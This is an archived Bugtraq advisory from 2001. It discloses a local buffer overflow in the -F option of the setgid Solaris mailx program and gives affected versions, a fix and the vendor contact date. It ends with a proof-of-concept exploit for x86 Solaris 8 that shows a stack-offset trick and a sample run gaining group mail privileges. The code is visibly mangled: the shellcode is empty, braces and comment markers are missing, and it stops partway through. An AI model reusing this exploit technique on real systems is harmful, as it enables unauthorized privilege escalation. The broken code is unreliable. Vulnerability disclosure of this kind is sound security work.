Home page logo

bugtraq logo Bugtraq mailing list archives

Solaris mailx Vulnerability
From: Pablo Sor <psor () AFIP GOV AR>
Date: Wed, 2 May 2001 12:30:45 -0400

Vulnerability in Solaris mailx(1)

Date Published: April 11, 2001

Advisory ID: N/A

Bugtraq ID: N/A

CVE CAN: Non currently assigned.

Title: Solaris mailx(1) Buffer Overflow Vulnerability

Class: Boundary Error Condition

Remotely Exploitable: No

Locally Exploitable: Yes

Vulnerability Description:

The mailx program is installed setgid mail by default in Solaris,
a buffer overrun exists in the -F option, by specifying a long buffer
containing machine executable code, it is possible to execute
arbitrary command as gid mail.

Vulnerable Packages/Systems:

Solaris 8     SPARC
Solaris 8     x86
Solaris 7     SPARC
Solaris 7     x86
Solaris 2.6   SPARC
Solaris 2.6   x86
Solaris 2.5.1 SPARC
Solaris 2.5.1 x86
Solaris 2.5   SPARC
Solaris 2.5   x86

Quick Fix:

Clear the sgid bit of /usr/bin/mailx program.

Solution/Vendor :

Sun Microsystems was notified on April 18, 2001. Patches are excepted shortly.

Vendor notified on: April 18, 2001


This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.

This advisory was drafted with the help of the SecurityFocus.com Vulnerability
Help Team. For more information or assistance drafting advisories please mail
vulnhelp () securityfocus com 

Technical Description - Exploit/Concept Code:

#include <fcntl.h>


   /usr/bin/mailx overflow proof of conecpt.

   Pablo Sor, Buenos Aires, Argentina 04/2001
   psor () afip gov ar, psor () ccc uba ar

   works against x86 solaris 8

   default offset should work.


   bash$ id
   uid=100(laika) gid=1(other)

   bash$ ./mailx-exp
   Subject: tomy


   $ id
   uid=100(laika) gid=1(other) egid=6(mail)


long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)

char shell[]=

 unsigned long magic = get_esp() + 2075;  /* default offset */
 unsigned char buf[1150];
 char *envi;

 envi = (char *)malloc(300*sizeof(char));


Pablo Sor
psor () afip gov ar, psor () ccc uba ar

  By Date           By Thread  

Current thread:
  • Solaris mailx Vulnerability Pablo Sor (May 03)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]